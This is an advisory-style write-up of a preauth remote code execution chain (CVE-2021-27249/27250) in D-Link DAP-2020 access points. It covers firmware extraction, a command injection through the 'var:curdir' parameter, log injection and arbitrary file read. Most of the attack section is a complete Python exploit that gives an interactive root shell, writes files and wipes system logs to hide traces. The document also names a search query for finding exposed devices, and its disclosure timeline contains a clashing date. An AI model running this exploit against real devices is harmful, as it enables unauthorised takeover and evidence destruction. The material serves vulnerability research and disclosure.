| ID | Product | Version | Vulnerability |
| ------------------------------ | --------------- | ------- | ---------------------------- |
| CVE-2021-27249,CVE-2021-27250 | D-Link DAP-2020 | 1.01 | Zero-Click Preauth RCE Chain |
# D-LinkGATE Remote Code Execution
# Description
**Affected devices:** We tested our POC on the DAP-2020 (Hardwareversion: A1,
Firmware-Version: 6.10) model.
Since the
vulnerability affects a core component further models might be subject to this
vulnerability. This can be checked with ZoomEye (Shodan Competitor) using the
following dork: https://www.zoomeye.org/searchResult?q=%2Fwebproc
There currently seem
to be 1.811.423 exposed, potentially vulnerable hosts. Over a million of these
are exposed in Colombia. When we look at the statistics of internet users
there ( _https://data.worldbank.org/indicator/IT.NET.USER.ZS?name_desc=false
&locations=CO_) we notice 65% of the population using the internet. After
derriving the 65% from a general population of 49.65 millions we end up with
around 32 million internet users. Correlating those values against our active
hosts we end up being able to exploit over 3.5% of Colombia with a single
click. The exploit chain works with a default configuration and, if exposed to
the internet, does not require user interaction. **Architecture:** We can use
the official "Firmware Update" image from the vendor since it isn't encrypted.
So no need to dump the firmware via UART or SPI Flash.
```
Jannis@SUID:~$ wget ftp://ftp.dlink.de/dap/dap-2020/driver_software/DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip
--2021-02-26 19:25:45-- ftp://ftp.dlink.de/dap/dap-2020/driver_software/DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip
=> ‘DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip’
Resolving ftp.dlink.de (ftp.dlink.de)... 217.6.104.69
Connecting to ftp.dlink.de (ftp.dlink.de)|217.6.104.69|:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD (1) /dap/dap-2020/driver_software ... done.
==> SIZE DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip ... 3827340
==> PASV ... done. ==> RETR DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip ... done.
Length: 3827340 (3.6M) (unauthoritative)
DAP-2020_fw_reva_102rc002_ALL 100%[=================================================>] 3.65M 1.12MB/s in 3.3s
2021-02-26 19:25:49 (1.12 MB/s) - ‘DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip’ saved [3827340]
```
After downloading the firmware from D-Link's FTP server we can use binwalk to
extract the filesystem.
```
Jannis@SUID:~/DAP-2020_fw_reva_102rc002_ALL_en_20200322$ binwalk -e DAP-2020_RevA_Firmware_102rc002.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
164 0xA4 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3949248 bytes
1143972 0x1174A4 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2682216 bytes, 1876 inodes, blocksize: 65536 bytes, created: 2020-07-10 09:10:05
```
The important files are stored in the webroot: *DAP-2020_fw_reva_102rc001_ALL_en_20171120\DAP-2020_RevA_Firmware102rc001\usr\www*
It contains a few html files used by the webserver and a cgi-bin providing
access to the mips binaries.
* Webproc: Main Binary used for handling of web interface
* Webupg: Binary used for file uploads, firmware upgrades, config changes
Those are not stripped and feature no compile-time security features like NX,
PIE or RELRO.
```
Jannis@SUID:~/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin$ checksec webproc
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/Jannis/.cache/.pwntools-cache-3.7/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.3.1)
[!] Could not populate MIPS GOT: seek out of range
[!] Did not find any GOT entries
[*] '/home/Jannis/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin/webproc'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Jannis@SUID:~/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin$ checksec webupg
[!] Could not populate MIPS GOT: seek out of range
[!] Did not find any GOT entries
[*] '/home/Jannis/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin/webupg'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
```
**Vulnerabilities:** **-Blind RCE:** The root-cause lies in a function called
WEB_CmdFileList. The function tries to check if files exist in a specific
directory based on user input using process open (popen). While it does
perform some string sanitization it isn't executed properly and can be
bypassed by an attacker.
```
if (*(int *)(iParm1 + 0x10) == 2) {
iVar1 = OM_BufferNew(0,"web_cmd.c",0x567);
if (iVar1 != 0) {
iVar6 = 0;
RAWINPUT = OM_ValFind(&g_pstWebVars,"var:curdir");
if (RAWINPUT == 0) {
snprintf((char *)RCEGOAL,0x400,"ls -la \"/mnt\"");
OM_ValSet(&g_pstWebVars,"var:curdir",&DAT_0040e694);
RAWINPUT = OM_ValFind(&g_pstWebVars,"var:curdir");
}
strip_path(*(undefined4 *)(RAWINPUT + 4),STRIPPEDINPUT);
iVar2 = valied_dir(STRIPPEDINPUT);
pcVar7 = snprintf;
__s = RCEGOAL;
if (iVar2 == 0) {
pcVar3 = (char *)0x400;
pcVar4 = "ls -la /mnt";
}
else {
snprintf((char *)__s,0x400,"ls -la \"/mnt%s\"",STRIPPEDINPUT);
pcVar3 = "var:curdir";
pcVar4 = STRIPPEDINPUT;
pcVar7 = OM_ValSet;
__s = &g_pstWebVars;
}
(*pcVar7)(__s,pcVar3,pcVar4);
__stream = popen((char *)RCEGOAL,"r");
LAB_00409500:
```
The router implements a custom templating engine to call
certain parts of the code. reach this part we need to provide a value into the
"curdir" variable. We also need a "filels" tag used in an earlier piece of
code that triggers our vulnerable part. A first simple approach would be
uploading a new html page over a language pack including: `"<?echo $var:curdir
?><?filels /?>""`
We then are able to supply values over GET or POST requests
calling the curdir variable. POST Example: Append {"var:curdir": "/\" && ls /
#'} to your usual POST request doing something else with the user.
Alternatively you can just append it to a GET request. However since the
exploit at this stage is blind you would get no usuable response back yet
(only forward slashes since the application is supposed to display paths).
**-Blind RCE to full RCE escalation** Due to the way the format string
provides data from the popen stream to stdout we can guess if a command
succeeds or not.
```
else {
snprintf((char *)__s,0x400,"ls -la \"/mnt%s\"",STRIPPEDINPUT);
pcVar3 = "var:curdir";
pcVar4 = STRIPPEDINPUT;
pcVar7 = OM_ValSet;
__s = &g_pstWebVars;
}
(*pcVar7)(__s,pcVar3,pcVar4);
__stream = popen((char *)RCEGOAL,"r");
LAB_00409500:
iVar2 = feof(__stream);
if (iVar2 == 0) {
iVar2 = fscanf(__stream,"%s %s %s %s %s %s %s %s%[^\n]\n",auStack592,auStack576,auStack568,
auStack536,auStack504,auStack488,auStack480,auStack472,acStack456);
if (iVar2 == 9) {
iVar2 = strcmp(acStack456,".");
if (iVar2 != 0) {
iVar2 = strcmp(acStack456,"..");
if (iVar2 == 0) {
iVar2 = strcmp(*(char **)(RAWINPUT + 4),"/");
```
Using a command like {"var:curdir": "/\" && mkdir test || ls -lax / #'} displays either one slash for a succeeded command or eight slashes from the ls -lax (which is guaranteed to suceed).
Eight slashes is the maximum due to the way fscanf is formated.
We can use this and pipe our output into a public directory: {"var:curdir": "/\" && mkdir test > /tmp/test || ls -lax / #'}.
Now the full output is available at /tmp/test, letting us gain regular RCE capabilities!
**-Log Injection**
We can provide an arbitrary username when trying to login.
The username is written to the system logs, thus allowing us to inject arbitrary strings into the logfiles.
```
POST /cgi-bin/webproc HTTP/1.1
Host: dlinkap
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
Origin: http://dlinkap
DNT: 1
Connection: close
Referer: http://dlinkap/cgi-bin/webproc
Cookie: sessionid=365dfaef; auth=nok; expires=Mon, 31-Jan-2050 16:00:00 GMT; Lan_IPAddress=dlinkap; language=zh_cn; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT; langmanulset=yes
Upgrade-Insecure-Requests: 1
getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=CONTROLLED&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef
```
*Log Output:*
```
###2011-01-01 20:03:34 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[] A new Device Connected, IPaddress:169.254.20.175, MacAddress:9c:b6:d0:bb:ef:d7
###2011-01-01 20:03:34 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] Not found session 365dfaef, user login check failed
###2011-01-01 20:06:04 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
###2011-01-01 20:06:16 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
###2011-01-01 20:06:36 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
###2011-01-01 20:10:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
###2011-01-01 20:12:18 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
###2011-01-01 20:13:56 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User CONTROLLED login failed, because username or password is wrong
###2011-01-01 20:14:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User CONTROLLED login failed, because username or password is wrong
```
**-Arbitrary File Read**
When sending a login request we are provided with several POST options.
We can use the errorpage= tag to get redirected to an arbitrary page after a failed login request thus leaking arbitrary system files.
```
POST /cgi-bin/webproc HTTP/1.1
Host: dlinkap
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 198
Origin: http://dlinkap
DNT: 1
Connection: close
Referer: http://dlinkap/cgi-bin/webproc
Cookie: sessionid=365dfaef; auth=nok; expires=Mon, 31-Jan-2050 16:00:00 GMT; Lan_IPAddress=dlinkap; language=zh_cn; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT; langmanulset=yes
Upgrade-Insecure-Requests: 1
getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef
```
*HTTP Response:*
```
HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=365dfaef;
set-cookie: auth=nok;
set-cookie: expires=Mon, 31-Jan-2050 16:00:00 GMT;
###2011-01-01 20:00:21 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Determined physical RAM map:
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] memory: 02000000 @ 00000000 (usable)
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] User-defined physical RAM map:
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] memory: 02000000 @ 00000000 (usable)
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Zone PFN ranges:
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal 0x00000000 -> 0x00002000
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Movable zone start PFN for each node
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] early_node_map[1] active PFN ranges
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] 0: 0x00000000 -> 0x00002000
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] On node 0 totalpages: 8192
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] free_area_init_node: node 0, pgdat 803a6920, node_mem_map 81000000
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal zone: 64 pages used for memmap
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal zone: 0 pages reserved
###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal zone: 8128 pages, LIFO batch:0
...
```
**-Arbitrary File upload**
An authenticated user can download a language pack, edit it, rezip it and upload it to add custom files into the system.
**-LPE**
Privilege Escalation not necessary since webproc is running as root already.
**-Exploit chain**
Our initial approach was "Upload File" -> "Inject tags into language pack" -> "Trigger them over request and gain root access."
However after finding a bunch of useful vulnerabilities we discovered the following preauth chain:
"Use username log injection to insert templating tags into syslogs" -> "Use errorpage arbitrary file read on syslogs to trigger tags" -> "Provide rce information HTTP request and pipe to file" -> "Use arbitrary file read to read rce information".
This way we get root access without authentication or user interaction and gain access over the network.
**-Full POC**
```
import requests
import random
import string
import signal
import sys
TARGET = "http://dlinkap:80"
def make_exploit(cmd,path):
session = requests.session()
burp0_url = TARGET + "/cgi-bin/webproc"
burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"getpage": "html/index.html", "errorpage": "/var/log/sysevent.txt", "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b", "var:curdir": "/\" && {0} > /tmp/{1} || ls -lax / #'".format(cmd,path)}
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
def write_file(cmd,path):
session = requests.session()
burp0_url = TARGET + "/cgi-bin/webproc"
burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"getpage": "html/index.html", "errorpage": "/var/log/sysevent.txt", "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b", "var:curdir": "/\" && echo {0} >> {1} || ls -lax / #'".format(cmd,path)}
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
def validate_exploit(path):
session = requests.session()
burp0_url = TARGET + "/cgi-bin/webproc"
burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"getpage": "html/index.html", "errorpage": "/tmp/{0}".format(path), "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b"}
res = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(res.content.decode('utf-8'))
def kill_silent(cmd):
session = requests.session()
burp0_url = TARGET + "/cgi-bin/webproc"
burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"getpage": "html/index.html", "errorpage": "/var/log/sysevent.txt", "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b", "var:curdir": "/\" && {0} || ls -lax / #'".format(cmd)}
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
def generate_location(stringLength=10):
"""Generate a random string of fixed length """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
def signal_handler(sig, frame):
print("[*] Exiting with light cleanup")
kill_silent("rm " + loc)
exit()
signal.signal(signal.SIGINT, signal_handler)
print("[*] Starting D-LinkGATE")
loc = generate_location()
print("[+] Generated secret location for file leakage: /tmp/" + loc)
r = requests.get(TARGET)
if('window.location.href = "/cgi-bin/webproc";' not in r.content):
print("[!] Bad target...exiting")
exit()
print("[+] Target valid up & running: " + TARGET)
print("----------------------------------")
print(" Welcome to ro(u)tshell ")
print("----------------------------------")
#loc = generate_location()
while True:
exploit = raw_input(">_ ")
if(exploit == "killme"):
print("[*] Performing hard cleanup")
kill_silent("rm " + loc)
kill_silent("echo '' > /var/log/lastlog")
kill_silent("echo '' > /var/log/messages")
kill_silent("echo '' > /var/log/original_data")
kill_silent("echo '' > /var/log/sysevent.txt")
kill_silent("echo '' > /var/log/wtmp")
elif(exploit == "ll"):
make_exploit("cat /var/log/sysevent.txt", loc)
leak = validate_exploit(loc)
elif(exploit == "write"):
path = raw_input("path:")
content = raw_input("content:")
write_file(content, path)
elif(exploit == "fwrite"):
path = raw_input("path:")
lpath = raw_input("local_path:")
with open(lpath, "rb") as file:
file_content = file.read()
write_file(file_content, path)
else:
make_exploit(exploit, loc)
leak = validate_exploit(loc)
```
Output:
```
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.
>>>
================ RESTART: C:\Users\Jannis\Desktop\exploit.py ================
[*] Starting D-LinkGATE
[+] Generated secret location for file leakage: /tmp/cgcsxyfmds
[+] Target valid up & running: http://dlinkap:80
----------------------------------
Welcome to ro(u)tshell
----------------------------------
>_ ls
cgi-bin
factory_mode.html
html
index.html
safe_index.html
test_version.html
version.txt
webAuth.xml
>_ ls /
bin
dev
etc
lib
mnt
pool
proc
root
sbin
sys
tmp
usr
var
>_ ps
PID Uid VSZ Stat Command
1 root 1756 SW init
2 root SW< [kthreadd]
3 root SW< [ksoftirqd/0]
4 root SW< [events/0]
5 root SW< [khelper]
6 root SW< [async/mgr]
7 root SW< [kblockd/0]
8 root SW [pdflush]
9 root SW< [kswapd0]
14 root SW< [mtdblockd]
42 root 2432 SW /usr/sbin/mini_httpd -d /usr/www -c /cgi-bin/* -u roo
46 root 1756 SW -sh
47 root 1756 SW /usr/sbin/inetd
48 root 2336 SW /usr/bin/pc
49 root 4028 SW /usr/bin/logic
50 root 2288 SW /usr/bin/ip6mon
51 root 2288 SW /usr/bin/ramon
52 root 2300 SW /usr/bin/ip6aac
67 root 1752 SW /sbin/klogd -n
68 root 2344 SW /usr/bin/logmonitor /var/log/sysevent.txt 24480 /var/
265 root 1472 SW /usr/sbin/wscd -start -c /var/wscd.conf -w wlan0 -fi
311 root 1208 SW /usr/sbin/radvd -C /var/radvd.conf -d 1
326 root 2044 SW /sbin/dproxy -c /etc/dproxy.conf -d
603 root 1120 SW /sbin/nbns -s dlinkap -i 169.254.230.56 -k fe80::6263
608 root 1120 SW /sbin/nbns -s dlinkap -i 169.254.230.56 -k fe80::6263
644 root 1140 SW iwcontrol wlan0
1010 root 2132 SWN webproc
1012 root 2460 SW /usr/sbin/mini_httpd -d /usr/www -c /cgi-bin/* -u roo
1013 root 1756 SWN sh -c ls -la "/mnt/" && ps > /tmp/cgcsxyfmds || ls
1015 root 1756 RWN ps
>_ date
Sat Jan 1 20:59:16 CCT 2011
>_
```
# Disclosure Timeline
* June 19, 2020 - Submitted vulnerability to Zeroday Initiative (ZDI)
* July 03, 2020 - Submitted additional product information to ZDI
* Aug 12, 2020 - Submitted additional details to ZDI
* Aug 30, 2020 - Sold vulnerabilities (27249 & 27250) to ZDI
* Aug 30, 2020 - Sold vulnerabilities (27249 & 27250) to ZDI
* Sep 08, 2020 - ZDI reported vulnerability to vendor
* Feb 24, 2020 - Coordinated public release of advisory
# Credit
Jannis Kirschner & Anthony Schneiter from Team SUID
# References
Further information can be obtained from ZDI reports:
* <https://www.zerodayinitiative.com/advisories/ZDI-21-204/>
* <https://www.zerodayinitiative.com/advisories/ZDI-21-205/>
暂无评论